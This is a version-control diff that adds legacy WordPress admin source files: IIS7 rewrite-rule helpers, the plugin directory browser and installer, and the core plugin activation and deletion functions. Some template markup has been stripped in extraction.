iis7_delete_rewrite_rule($filename) { + // If configuration file does not exist then rules also do not exist so there is nothing to delete + if ( ! file_exists($filename) ) + return true; + + if ( ! class_exists('DOMDocument') ) + return false; + + $doc = new DOMDocument(); + $doc->preserveWhiteSpace = false; + + if ( $doc -> load($filename) === false ) + return false; + $xpath = new DOMXPath($doc); + $rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[@name=\'wordpress\']'); + if ( $rules->length > 0 ) { + $child = $rules->item(0); + $parent = $child->parentNode; + $parent->removeChild($child); + $doc->formatOutput = true; + saveDomDocument($doc, $filename); + } + return true; +} + +/** + * Add WordPress rewrite rule to the IIS 7 configuration file. + * + * @since 2.8.0 + * + * @param string $filename The file path to the configuration file + * @param string $rewrite_rule The XML fragment with URL Rewrite rule + * @return bool + */ +function iis7_add_rewrite_rule($filename, $rewrite_rule) { + if ( ! class_exists('DOMDocument') ) + return false; + + // If configuration file does not exist then we create one. + if ( ! file_exists($filename) ) { + $fp = fopen( $filename, 'w'); + fwrite($fp, ''); + fclose($fp); + } + + $doc = new DOMDocument(); + $doc->preserveWhiteSpace = false; + + if ( $doc->load($filename) === false ) + return false; + + $xpath = new DOMXPath($doc); + + // First check if the rule already exists as in that case there is no need to re-add it + $wordpress_rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[@name=\'wordpress\']'); + if ( $wordpress_rules->length > 0 ) + return true; + + // Check the XPath to the rewrite rule and create XML nodes if they do not exist + $xmlnodes = $xpath->query('/configuration/system.webServer/rewrite/rules'); + if ( $xmlnodes->length > 0 ) { + $rules_node = $xmlnodes->item(0); + } else { + $rules_node = $doc->createElement('rules'); + + $xmlnodes = $xpath->query('/configuration/system.webServer/rewrite'); + if ( $xmlnodes->length > 0 ) { + $rewrite_node = $xmlnodes->item(0); + $rewrite_node->appendChild($rules_node); + } else { + $rewrite_node = $doc->createElement('rewrite'); + $rewrite_node->appendChild($rules_node); + + $xmlnodes = $xpath->query('/configuration/system.webServer'); + if ( $xmlnodes->length > 0 ) { + $system_webServer_node = $xmlnodes->item(0); + $system_webServer_node->appendChild($rewrite_node); + } else { + $system_webServer_node = $doc->createElement('system.webServer'); + $system_webServer_node->appendChild($rewrite_node); + + $xmlnodes = $xpath->query('/configuration'); + if ( $xmlnodes->length > 0 ) { + $config_node = $xmlnodes->item(0); + $config_node->appendChild($system_webServer_node); + } else { + $config_node = $doc->createElement('configuration'); + $doc->appendChild($config_node); + $config_node->appendChild($system_webServer_node); + } + } + } + } + + $rule_fragment = $doc->createDocumentFragment(); + $rule_fragment->appendXML($rewrite_rule); + $rules_node->appendChild($rule_fragment); + + $doc->encoding = "UTF-8"; + $doc->formatOutput = true; + saveDomDocument($doc, $filename); + + return true; +} + +/** + * Saves the XML document into a file + * + * @since 2.8.0 + * + * @param DOMDocument $doc + * @param string $filename + */ +function saveDomDocument($doc, $filename) { + $config = $doc->saveXML(); + $config = preg_replace("/([^\r])\n/", "$1\r\n", $config); + $fp = fopen($filename, 'w'); + fwrite($fp, $config); + fclose($fp); +} + +/** + * Workaround for Windows bug in is_writable() function + * + * @since 2.8.0 + * + * @param object $path + * @return bool + */ +function win_is_writable($path) { + /* will work in despite of Windows ACLs bug + * NOTE: use a trailing slash for folders!!! + * see http://bugs.php.net/bug.php?id=27609 + * see http://bugs.php.net/bug.php?id=30931 + */ + + if ( $path{strlen($path)-1} == '/' ) // recursively return a temporary file path + return win_is_writable($path . uniqid(mt_rand()) . '.tmp'); + else if ( is_dir($path) ) + return win_is_writable($path . '/' . uniqid(mt_rand()) . '.tmp'); + // check tmp file for read/write capabilities + $rm = file_exists($path); + $f = @fopen($path, 'a'); + if ($f===false) + return false; + fclose($f); + if ( ! $rm ) + unlink($path); + return true; +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/plugin-install.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/plugin-install.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,562 @@ +per_page) ) + $args->per_page = 24; + + $args = apply_filters('plugins_api_args', $args, $action); //NOTE: Ensure that an object is returned via this filter. + $res = apply_filters('plugins_api', false, $action, $args); //NOTE: Allows a plugin to completely override the builtin WordPress.org API. + + if ( ! $res ) { + $request = wp_remote_post('http://api.wordpress.org/plugins/info/1.0/', array( 'body' => array('action' => $action, 'request' => serialize($args))) ); + if ( is_wp_error($request) ) { + $res = new WP_Error('plugins_api_failed', __('An Unexpected HTTP Error occurred during the API request.

    Try again'), $request->get_error_message() ); + } else { + $res = unserialize($request['body']); + if ( ! $res ) + $res = new WP_Error('plugins_api_failed', __('An unknown error occurred'), $request['body']); + } + } elseif ( !is_wp_error($res) ) { + $res->external = true; + } + + return apply_filters('plugins_api_result', $res, $action, $args); +} + +/** + * Retrieve popular WordPress plugin tags. + * + * @since 2.7.0 + * + * @param array $args + * @return array + */ +function install_popular_tags( $args = array() ) { + if ( ! ($cache = wp_cache_get('popular_tags', 'api')) && ! ($cache = get_option('wporg_popular_tags')) ) + add_option('wporg_popular_tags', array(), '', 'no'); ///No autoload. + + if ( $cache && $cache->timeout + 3 * 60 * 60 > time() ) + return $cache->cached; + + $tags = plugins_api('hot_tags', $args); + + if ( is_wp_error($tags) ) + return $tags; + + $cache = (object) array('timeout' => time(), 'cached' => $tags); + + update_option('wporg_popular_tags', $cache); + wp_cache_set('popular_tags', $cache, 'api'); + + return $tags; +} +add_action('install_plugins_search', 'install_search', 10, 1); + +/** + * Display search results and display as tag cloud. + * + * @since 2.7.0 + * + * @param string $page + */ +function install_search($page) { + $type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : ''; + $term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : ''; + + $args = array(); + + switch( $type ){ + case 'tag': + $args['tag'] = sanitize_title_with_dashes($term); + break; + case 'term': + $args['search'] = $term; + break; + case 'author': + $args['author'] = $term; + break; + } + + $args['page'] = $page; + + $api = plugins_api('query_plugins', $args); + + if ( is_wp_error($api) ) + wp_die($api); + + add_action('install_plugins_table_header', 'install_search_form'); + + display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']); + + return; +} + +add_action('install_plugins_dashboard', 'install_dashboard'); +function install_dashboard() { + ?> +

    WordPress Plugin Directory or upload a plugin in .zip format via this page.') ?>

    + +

    +

    + + +

    +

    + esc_url( admin_url('plugin-install.php?tab=search&type=tag&s=' . urlencode($tag['name'])) ), + 'name' => $tag['name'], + 'id' => sanitize_title_with_dashes($tag['name']), + 'count' => $tag['count'] ); + echo '
    '; +} + +/** + * Display search form for searching plugins. + * + * @since 2.7.0 + */ +function install_search_form(){ + $type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : ''; + $term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : ''; + + ?>
    + + + + +
    'featured', 'page' => $page); + $api = plugins_api('query_plugins', $args); + if ( is_wp_error($api) ) + wp_die($api); + display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']); +} + +add_action('install_plugins_popular', 'install_popular', 10, 1); +/** + * Display popular plugins. + * + * @since 2.7.0 + * + * @param string $page + */ +function install_popular($page = 1) { + $args = array('browse' => 'popular', 'page' => $page); + $api = plugins_api('query_plugins', $args); + display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']); +} + +add_action('install_plugins_upload', 'install_plugins_upload', 10, 1); +/** + * Upload from zip + * @since 2.8.0 + * + * @param string $page + */ +function install_plugins_upload( $page = 1 ) { +?> +

    +

    +
    + + + + +
    + 'new', 'page' => $page); + $api = plugins_api('query_plugins', $args); + if ( is_wp_error($api) ) + wp_die($api); + display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']); +} +add_action('install_plugins_updated', 'install_updated', 10, 1); + + +/** + * Display recently updated plugins. + * + * @since 2.7.0 + * + * @param string $page + */ +function install_updated($page = 1) { + $args = array('browse' => 'updated', 'page' => $page); + $api = plugins_api('query_plugins', $args); + display_plugins_table($api->plugins, $api->info['page'], $api->info['pages']); +} + +/** + * Display plugin content based on plugin list. + * + * @since 2.7.0 + * + * @param array $plugins List of plugins. + * @param string $page + * @param int $totalpages Number of pages. + */ +function display_plugins_table($plugins, $page = 1, $totalpages = 1){ + $type = isset($_REQUEST['type']) ? stripslashes( $_REQUEST['type'] ) : ''; + $term = isset($_REQUEST['s']) ? stripslashes( $_REQUEST['s'] ) : ''; + + $plugins_allowedtags = array('a' => array('href' => array(),'title' => array(), 'target' => array()), + 'abbr' => array('title' => array()),'acronym' => array('title' => array()), + 'code' => array(), 'pre' => array(), 'em' => array(),'strong' => array(), + 'ul' => array(), 'ol' => array(), 'li' => array(), 'p' => array(), 'br' => array()); + +?> +
    +
    + +
    + add_query_arg('paged', '%#%', $url), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => $totalpages, + 'current' => $page + )); + + if ( $page_links ) + echo "\t\t
    $page_links
    "; +?> +
    +
    + + + + + + + + + + + + + + + + + + + + + + + '; + + foreach( (array) $plugins as $plugin ){ + if ( is_object($plugin) ) + $plugin = (array) $plugin; + + $title = wp_kses($plugin['name'], $plugins_allowedtags); + //Limit description to 400char, and remove any HTML. + $description = strip_tags($plugin['description']); + if ( strlen($description) > 400 ) + $description = mb_substr($description, 0, 400) . '…'; + //remove any trailing entities + $description = preg_replace('/&[^;\s]{0,6}$/', '', $description); + //strip leading/trailing & multiple consecutive lines + $description = trim($description); + $description = preg_replace("|(\r?\n)+|", "\n", $description); + //\n =>
    + $description = nl2br($description); + $version = wp_kses($plugin['version'], $plugins_allowedtags); + + $name = strip_tags($title . ' ' . $version); + + $author = $plugin['author']; + if( ! empty($plugin['author']) ) + $author = ' ' . sprintf( __('By %s'), $author ) . '.'; + + $author = wp_kses($author, $plugins_allowedtags); + + if( isset($plugin['homepage']) ) + $title = '' . $title . ''; + + $action_links = array(); + $action_links[] = '' . __('Install') . ''; + + $action_links = apply_filters('plugin_install_action_links', $action_links, $plugin); + ?> + + + + + + + + + +
    ', __('No plugins match your request.'), '
    +
    +
    +
    <?php _e('5 stars') ?>
    +
    <?php _e('4 stars') ?>
    +
    <?php _e('3 stars') ?>
    +
    <?php _e('2 stars') ?>
    +
    <?php _e('1 star') ?>
    +
    +
    + +
    + $page_links
    "; ?> +
    + + + stripslashes( $_REQUEST['plugin'] ) )); + + if ( is_wp_error($api) ) + wp_die($api); + + $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()), + 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), + 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), + 'div' => array(), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), + 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), + 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); + //Sanitize HTML + foreach ( (array)$api->sections as $section_name => $content ) + $api->sections[$section_name] = wp_kses($content, $plugins_allowedtags); + foreach ( array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key ) + $api->$key = wp_kses($api->$key, $plugins_allowedtags); + + $section = isset($_REQUEST['section']) ? stripslashes( $_REQUEST['section'] ) : 'description'; //Default to the Description tab, Do not translate, API returns English. + if( empty($section) || ! isset($api->sections[ $section ]) ) + $section = array_shift( $section_titles = array_keys((array)$api->sections) ); + + iframe_header( __('Plugin Install') ); + echo "
    \n"; + echo "
      \n"; + foreach ( (array)$api->sections as $section_name => $content ) { + + $title = $section_name; + $title = ucwords(str_replace('_', ' ', $title)); + + $class = ( $section_name == $section ) ? ' class="current"' : ''; + $href = add_query_arg( array('tab' => $tab, 'section' => $section_name) ); + $href = esc_url($href); + $san_title = esc_attr(sanitize_title_with_dashes($title)); + echo "\t
    • $title
    • \n"; + } + echo "
    \n"; + echo "
    \n"; + ?> +
    + download_link) ) : ?> +

    + response as $file => $plugin ) { + if ( $plugin->slug === $api->slug ) { + $type = 'update_available'; + $update_file = $file; + break; + } + } + } + if ( 'install' == $type && is_dir( WP_PLUGIN_DIR . '/' . $api->slug ) ) { + $installed_plugin = get_plugins('/' . $api->slug); + if ( ! empty($installed_plugin) ) { + $key = array_shift( $key = array_keys($installed_plugin) ); //Use the first plugin regardless of the name, Could have issues for multiple-plugins in one directory if they share different version numbers + if ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '=') ){ + $type = 'latest_installed'; + } elseif ( version_compare($api->version, $installed_plugin[ $key ]['Version'], '<') ) { + $type = 'newer_installed'; + $newer_version = $installed_plugin[ $key ]['Version']; + } else { + //If the above update check failed, Then that probably means that the update checker has out-of-date information, force a refresh + delete_transient('update_plugins'); + $update_file = $api->slug . '/' . $key; //This code branch only deals with a plugin which is in a folder the same name as its slug, Doesnt support plugins which have 'non-standard' names + $type = 'update_available'; + } + } + } + + switch ( $type ) : + default: + case 'install': + if ( current_user_can('install_plugins') ) : + ?> +

    + +

    +
      +version) ) : ?> +
    • version ?>
    • +author) ) : ?> +
    • author, '_blank') ?>
    • +last_updated) ) : ?> +
    • last_updated)) ) ?>
    • +requires) ) : ?> +
    • requires) ?>
    • +tested) ) : ?> +
    • tested ?>
    • +downloaded) ) : ?> +
    • downloaded), number_format_i18n($api->downloaded)) ?>
    • +slug) && empty($api->external) ) : ?> +
    • +homepage) ) : ?> +
    • + +
    + rating) ) : ?> +

    +
    +
    +
    <?php _e('5 stars') ?>
    +
    <?php _e('4 stars') ?>
    +
    <?php _e('3 stars') ?>
    +
    <?php _e('2 stars') ?>
    +
    <?php _e('1 star') ?>
    +
    + num_ratings), number_format_i18n($api->num_ratings)); ?> + +
    +
    + tested) && version_compare( substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>') ) + echo '

    ' . __('Warning: This plugin has not been tested with your current version of WordPress.') . '

    '; + + else if ( !empty($api->requires) && version_compare( substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<') ) + echo '

    ' . __('Warning: This plugin has not been marked as compatible with your version of WordPress.') . '

    '; + + foreach ( (array)$api->sections as $section_name => $content ) { + $title = $section_name; + $title[0] = strtoupper($title[0]); + $title = str_replace('_', ' ', $title); + + $content = links_add_base_url($content, 'http://wordpress.org/extend/plugins/' . $api->slug . '/'); + $content = links_add_target($content, '_blank'); + + $san_title = esc_attr(sanitize_title_with_dashes($title)); + + $display = ( $section_name == $section ) ? 'block' : 'none'; + + echo "\t
    \n"; + echo "\t\t

    $title

    "; + echo $content; + echo "\t
    \n"; + } + echo "
    \n"; + + iframe_footer(); + exit; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/plugin.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/plugin.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1126 @@ + + * /* + * Plugin Name: Name of Plugin + * Plugin URI: Link to plugin information + * Description: Plugin Description + * Author: Plugin author's name + * Author URI: Link to the author's web site + * Version: Must be set in the plugin for WordPress 2.3+ + * Text Domain: Optional. Unique identifier, should be same as the one used in + * plugin_text_domain() + * Domain Path: Optional. Only useful if the translations are located in a + * folder above the plugin's base path. For example, if .mo files are + * located in the locale folder then Domain Path will be "/locale/" and + * must have the first slash. Defaults to the base folder the plugin is + * located in. + * * / # Remove the space to close comment + * + * + * Plugin data returned array contains the following: + * 'Name' - Name of the plugin, must be unique. + * 'Title' - Title of the plugin and the link to the plugin's web site. + * 'Description' - Description of what the plugin does and/or notes + * from the author. + * 'Author' - The author's name + * 'AuthorURI' - The authors web site address. + * 'Version' - The plugin version number. + * 'PluginURI' - Plugin web site address. + * 'TextDomain' - Plugin's text domain for localization. + * 'DomainPath' - Plugin's relative directory path to .mo files. + * + * Some users have issues with opening large files and manipulating the contents + * for want is usually the first 1kiB or 2kiB. This function stops pulling in + * the plugin contents when it has all of the required plugin data. + * + * The first 8kiB of the file will be pulled in and if the plugin data is not + * within that first 8kiB, then the plugin author should correct their plugin + * and move the plugin data headers to the top. + * + * The plugin file is assumed to have permissions to allow for scripts to read + * the file. This is not checked however and the file is only opened for + * reading. + * + * @link http://trac.wordpress.org/ticket/5651 Previous Optimizations. + * @link http://trac.wordpress.org/ticket/7372 Further and better Optimizations. + * @since 1.5.0 + * + * @param string $plugin_file Path to the plugin file + * @param bool $markup If the returned data should have HTML markup applied + * @param bool $translate If the returned data should be translated + * @return array See above for description. + */ +function get_plugin_data( $plugin_file, $markup = true, $translate = true ) { + + $default_headers = array( + 'Name' => 'Plugin Name', + 'PluginURI' => 'Plugin URI', + 'Version' => 'Version', + 'Description' => 'Description', + 'Author' => 'Author', + 'AuthorURI' => 'Author URI', + 'TextDomain' => 'Text Domain', + 'DomainPath' => 'Domain Path' + ); + + $plugin_data = get_file_data( $plugin_file, $default_headers, 'plugin' ); + + //For backward compatibility by default Title is the same as Name. + $plugin_data['Title'] = $plugin_data['Name']; + + if ( $markup || $translate ) + $plugin_data = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup, $translate ); + + return $plugin_data; +} + +function _get_plugin_data_markup_translate($plugin_file, $plugin_data, $markup = true, $translate = true) { + + //Translate fields + if( $translate && ! empty($plugin_data['TextDomain']) ) { + if( ! empty( $plugin_data['DomainPath'] ) ) + load_plugin_textdomain($plugin_data['TextDomain'], false, dirname($plugin_file). $plugin_data['DomainPath']); + else + load_plugin_textdomain($plugin_data['TextDomain'], false, dirname($plugin_file)); + + foreach ( array('Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version') as $field ) + $plugin_data[ $field ] = translate($plugin_data[ $field ], $plugin_data['TextDomain']); + } + + //Apply Markup + if ( $markup ) { + if ( ! empty($plugin_data['PluginURI']) && ! empty($plugin_data['Name']) ) + $plugin_data['Title'] = '' . $plugin_data['Name'] . ''; + else + $plugin_data['Title'] = $plugin_data['Name']; + + if ( ! empty($plugin_data['AuthorURI']) && ! empty($plugin_data['Author']) ) + $plugin_data['Author'] = '' . $plugin_data['Author'] . ''; + + $plugin_data['Description'] = wptexturize( $plugin_data['Description'] ); + if( ! empty($plugin_data['Author']) ) + $plugin_data['Description'] .= ' ' . sprintf( __('By %s'), $plugin_data['Author'] ) . '.'; + } + + $plugins_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array()); + + // Sanitize all displayed data + $plugin_data['Title'] = wp_kses($plugin_data['Title'], $plugins_allowedtags); + $plugin_data['Version'] = wp_kses($plugin_data['Version'], $plugins_allowedtags); + $plugin_data['Description'] = wp_kses($plugin_data['Description'], $plugins_allowedtags); + $plugin_data['Author'] = wp_kses($plugin_data['Author'], $plugins_allowedtags); + + return $plugin_data; +} + +/** + * Get a list of a plugin's files. + * + * @since 2.8.0 + * + * @param string $plugin Plugin ID + * @return array List of files relative to the plugin root. + */ +function get_plugin_files($plugin) { + $plugin_file = WP_PLUGIN_DIR . '/' . $plugin; + $dir = dirname($plugin_file); + $plugin_files = array($plugin); + if ( is_dir($dir) && $dir != WP_PLUGIN_DIR ) { + $plugins_dir = @ opendir( $dir ); + if ( $plugins_dir ) { + while (($file = readdir( $plugins_dir ) ) !== false ) { + if ( substr($file, 0, 1) == '.' ) + continue; + if ( is_dir( $dir . '/' . $file ) ) { + $plugins_subdir = @ opendir( $dir . '/' . $file ); + if ( $plugins_subdir ) { + while (($subfile = readdir( $plugins_subdir ) ) !== false ) { + if ( substr($subfile, 0, 1) == '.' ) + continue; + $plugin_files[] = plugin_basename("$dir/$file/$subfile"); + } + @closedir( $plugins_subdir ); + } + } else { + if ( plugin_basename("$dir/$file") != $plugin ) + $plugin_files[] = plugin_basename("$dir/$file"); + } + } + @closedir( $plugins_dir ); + } + } + + return $plugin_files; +} + +/** + * Check the plugins directory and retrieve all plugin files with plugin data. + * + * WordPress only supports plugin files in the base plugins directory + * (wp-content/plugins) and in one directory above the plugins directory + * (wp-content/plugins/my-plugin). The file it looks for has the plugin data and + * must be found in those two locations. It is recommended that do keep your + * plugin files in directories. + * + * The file with the plugin data is the file that will be included and therefore + * needs to have the main execution for the plugin. This does not mean + * everything must be contained in the file and it is recommended that the file + * be split for maintainability. Keep everything in one file for extreme + * optimization purposes. + * + * @since unknown + * + * @param string $plugin_folder Optional. Relative path to single plugin folder. + * @return array Key is the plugin file path and the value is an array of the plugin data. + */ +function get_plugins($plugin_folder = '') { + + if ( ! $cache_plugins = wp_cache_get('plugins', 'plugins') ) + $cache_plugins = array(); + + if ( isset($cache_plugins[ $plugin_folder ]) ) + return $cache_plugins[ $plugin_folder ]; + + $wp_plugins = array (); + $plugin_root = WP_PLUGIN_DIR; + if( !empty($plugin_folder) ) + $plugin_root .= $plugin_folder; + + // Files in wp-content/plugins directory + $plugins_dir = @ opendir( $plugin_root); + $plugin_files = array(); + if ( $plugins_dir ) { + while (($file = readdir( $plugins_dir ) ) !== false ) { + if ( substr($file, 0, 1) == '.' ) + continue; + if ( is_dir( $plugin_root.'/'.$file ) ) { + $plugins_subdir = @ opendir( $plugin_root.'/'.$file ); + if ( $plugins_subdir ) { + while (($subfile = readdir( $plugins_subdir ) ) !== false ) { + if ( substr($subfile, 0, 1) == '.' ) + continue; + if ( substr($subfile, -4) == '.php' ) + $plugin_files[] = "$file/$subfile"; + } + } + } else { + if ( substr($file, -4) == '.php' ) + $plugin_files[] = $file; + } + } + } + @closedir( $plugins_dir ); + @closedir( $plugins_subdir ); + + if ( !$plugins_dir || empty($plugin_files) ) + return $wp_plugins; + + foreach ( $plugin_files as $plugin_file ) { + if ( !is_readable( "$plugin_root/$plugin_file" ) ) + continue; + + $plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached. + + if ( empty ( $plugin_data['Name'] ) ) + continue; + + $wp_plugins[plugin_basename( $plugin_file )] = $plugin_data; + } + + uasort( $wp_plugins, create_function( '$a, $b', 'return strnatcasecmp( $a["Name"], $b["Name"] );' )); + + $cache_plugins[ $plugin_folder ] = $wp_plugins; + wp_cache_set('plugins', $cache_plugins, 'plugins'); + + return $wp_plugins; +} + +/** + * Check whether the plugin is active by checking the active_plugins list. + * + * @since 2.5.0 + * + * @param string $plugin Base plugin path from plugins directory. + * @return bool True, if in the active plugins list. False, not in the list. + */ +function is_plugin_active($plugin) { + return in_array( $plugin, apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ); +} + +/** + * Attempts activation of plugin in a "sandbox" and redirects on success. + * + * A plugin that is already activated will not attempt to be activated again. + * + * The way it works is by setting the redirection to the error before trying to + * include the plugin file. If the plugin fails, then the redirection will not + * be overwritten with the success message. Also, the options will not be + * updated and the activation hook will not be called on plugin error. + * + * It should be noted that in no way the below code will actually prevent errors + * within the file. The code should not be used elsewhere to replicate the + * "sandbox", which uses redirection to work. + * {@source 13 1} + * + * If any errors are found or text is outputted, then it will be captured to + * ensure that the success redirection will update the error redirection. + * + * @since unknown + * + * @param string $plugin Plugin path to main plugin file with plugin data. + * @param string $redirect Optional. URL to redirect to. + * @return WP_Error|null WP_Error on invalid file or null on success. + */ +function activate_plugin($plugin, $redirect = '') { + $current = get_option('active_plugins'); + $plugin = plugin_basename(trim($plugin)); + + $valid = validate_plugin($plugin); + if ( is_wp_error($valid) ) + return $valid; + + if ( !in_array($plugin, $current) ) { + if ( !empty($redirect) ) + wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('plugin-activation-error_' . $plugin), $redirect)); // we'll override this later if the plugin can be included without fatal error + ob_start(); + @include(WP_PLUGIN_DIR . '/' . $plugin); + $current[] = $plugin; + sort($current); + do_action( 'activate_plugin', trim( $plugin) ); + update_option('active_plugins', $current); + do_action( 'activate_' . trim( $plugin ) ); + do_action( 'activated_plugin', trim( $plugin) ); + ob_end_clean(); + } + + return null; +} + +/** + * Deactivate a single plugin or multiple plugins. + * + * The deactivation hook is disabled by the plugin upgrader by using the $silent + * parameter. + * + * @since unknown + * + * @param string|array $plugins Single plugin or list of plugins to deactivate. + * @param bool $silent Optional, default is false. Prevent calling deactivate hook. + */ +function deactivate_plugins($plugins, $silent= false) { + $current = get_option('active_plugins'); + + if ( !is_array($plugins) ) + $plugins = array($plugins); + + foreach ( $plugins as $plugin ) { + $plugin = plugin_basename($plugin); + if( ! is_plugin_active($plugin) ) + continue; + if ( ! $silent ) + do_action( 'deactivate_plugin', trim( $plugin ) ); + + $key = array_search( $plugin, (array) $current ); + + if ( false !== $key ) + array_splice( $current, $key, 1 ); + + //Used by Plugin updater to internally deactivate plugin, however, not to notify plugins of the fact to prevent plugin output. + if ( ! $silent ) { + do_action( 'deactivate_' . trim( $plugin ) ); + do_action( 'deactivated_plugin', trim( $plugin ) ); + } + } + + update_option('active_plugins', $current); +} + +/** + * Activate multiple plugins. + * + * When WP_Error is returned, it does not mean that one of the plugins had + * errors. It means that one or more of the plugins file path was invalid. + * + * The execution will be halted as soon as one of the plugins has an error. + * + * @since unknown + * + * @param string|array $plugins + * @param string $redirect Redirect to page after successful activation. + * @return bool|WP_Error True when finished or WP_Error if there were errors during a plugin activation. + */ +function activate_plugins($plugins, $redirect = '') { + if ( !is_array($plugins) ) + $plugins = array($plugins); + + $errors = array(); + foreach ( (array) $plugins as $plugin ) { + if ( !empty($redirect) ) + $redirect = add_query_arg('plugin', $plugin, $redirect); + $result = activate_plugin($plugin, $redirect); + if ( is_wp_error($result) ) + $errors[$plugin] = $result; + } + + if ( !empty($errors) ) + return new WP_Error('plugins_invalid', __('One of the plugins is invalid.'), $errors); + + return true; +} + +/** + * Remove directory and files of a plugin for a single or list of plugin(s). + * + * If the plugins parameter list is empty, false will be returned. True when + * completed. + * + * @since unknown + * + * @param array $plugins List of plugin + * @param string $redirect Redirect to page when complete. + * @return mixed + */ +function delete_plugins($plugins, $redirect = '' ) { + global $wp_filesystem; + + if( empty($plugins) ) + return false; + + $checked = array(); + foreach( $plugins as $plugin ) + $checked[] = 'checked[]=' . $plugin; + + ob_start(); + $url = wp_nonce_url('plugins.php?action=delete-selected&verify-delete=1&' . implode('&', $checked), 'bulk-manage-plugins'); + if ( false === ($credentials = request_filesystem_credentials($url)) ) { + $data = ob_get_contents(); + ob_end_clean(); + if( ! empty($data) ){ + include_once( ABSPATH . 'wp-admin/admin-header.php'); + echo $data; + include( ABSPATH . 'wp-admin/admin-footer.php'); + exit; + } + return; + } + + if ( ! WP_Filesystem($credentials) ) { + request_filesystem_credentials($url, '', true); //Failed to connect, Error and request again + $data = ob_get_contents(); + ob_end_clean(); + if( ! empty($data) ){ + include_once( ABSPATH . 'wp-admin/admin-header.php'); + echo $data; + include( ABSPATH . 'wp-admin/admin-footer.php'); + exit; + } + return; + } + + if ( ! is_object($wp_filesystem) ) + return new WP_Error('fs_unavailable', __('Could not access filesystem.')); + + if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() ) + return new WP_Error('fs_error', __('Filesystem error'), $wp_filesystem->errors); + + //Get the base plugin folder + $plugins_dir = $wp_filesystem->wp_plugins_dir(); + if ( empty($plugins_dir) ) + return new WP_Error('fs_no_plugins_dir', __('Unable to locate WordPress Plugin directory.')); + + $plugins_dir = trailingslashit( $plugins_dir ); + + $errors = array(); + + foreach( $plugins as $plugin_file ) { + // Run Uninstall hook + if ( is_uninstallable_plugin( $plugin_file ) ) + uninstall_plugin($plugin_file); + + $this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin_file) ); + // If plugin is in its own directory, recursively delete the directory. + if ( strpos($plugin_file, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory seperator AND that its not the root plugin folder + $deleted = $wp_filesystem->delete($this_plugin_dir, true); + else + $deleted = $wp_filesystem->delete($plugins_dir . $plugin_file); + + if ( ! $deleted ) + $errors[] = $plugin_file; + } + + if ( ! empty($errors) ) + return new WP_Error('could_not_remove_plugin', sprintf(__('Could not fully remove the plugin(s) %s'), implode(', ', $errors)) ); + + // Force refresh of plugin update information + if ( $current = get_transient('update_plugins') ) { + unset( $current->response[ $plugin_file ] ); + set_transient('update_plugins', $current); + } + + return true; +} + +function validate_active_plugins() { + $check_plugins = apply_filters( 'active_plugins', get_option('active_plugins') ); + + // Sanity check. If the active plugin list is not an array, make it an + // empty array. + if ( !is_array($check_plugins) ) { + update_option('active_plugins', array()); + return; + } + + //Invalid is any plugin that is deactivated due to error. + $invalid = array(); + + // If a plugin file does not exist, remove it from the list of active + // plugins. + foreach ( $check_plugins as $check_plugin ) { + $result = validate_plugin($check_plugin); + if ( is_wp_error( $result ) ) { + $invalid[$check_plugin] = $result; + deactivate_plugins( $check_plugin, true); + } + } + return $invalid; +} + +/** + * Validate the plugin path. + * + * Checks that the file exists and {@link validate_file() is valid file}. + * + * @since unknown + * + * @param string $plugin Plugin Path + * @return WP_Error|int 0 on success, WP_Error on failure. + */ +function validate_plugin($plugin) { + if ( validate_file($plugin) ) + return new WP_Error('plugin_invalid', __('Invalid plugin path.')); + if ( ! file_exists(WP_PLUGIN_DIR . '/' . $plugin) ) + return new WP_Error('plugin_not_found', __('Plugin file does not exist.')); + + $installed_plugins = get_plugins(); + if ( ! isset($installed_plugins[$plugin]) ) + return new WP_Error('no_plugin_header', __('The plugin does not have a valid header.')); + return 0; +} + +/** + * Whether the plugin can be uninstalled. + * + * @since 2.7.0 + * + * @param string $plugin Plugin path to check. + * @return bool Whether plugin can be uninstalled. + */ +function is_uninstallable_plugin($plugin) { + $file = plugin_basename($plugin); + + $uninstallable_plugins = (array) get_option('uninstall_plugins'); + if ( isset( $uninstallable_plugins[$file] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) ) + return true; + + return false; +} + 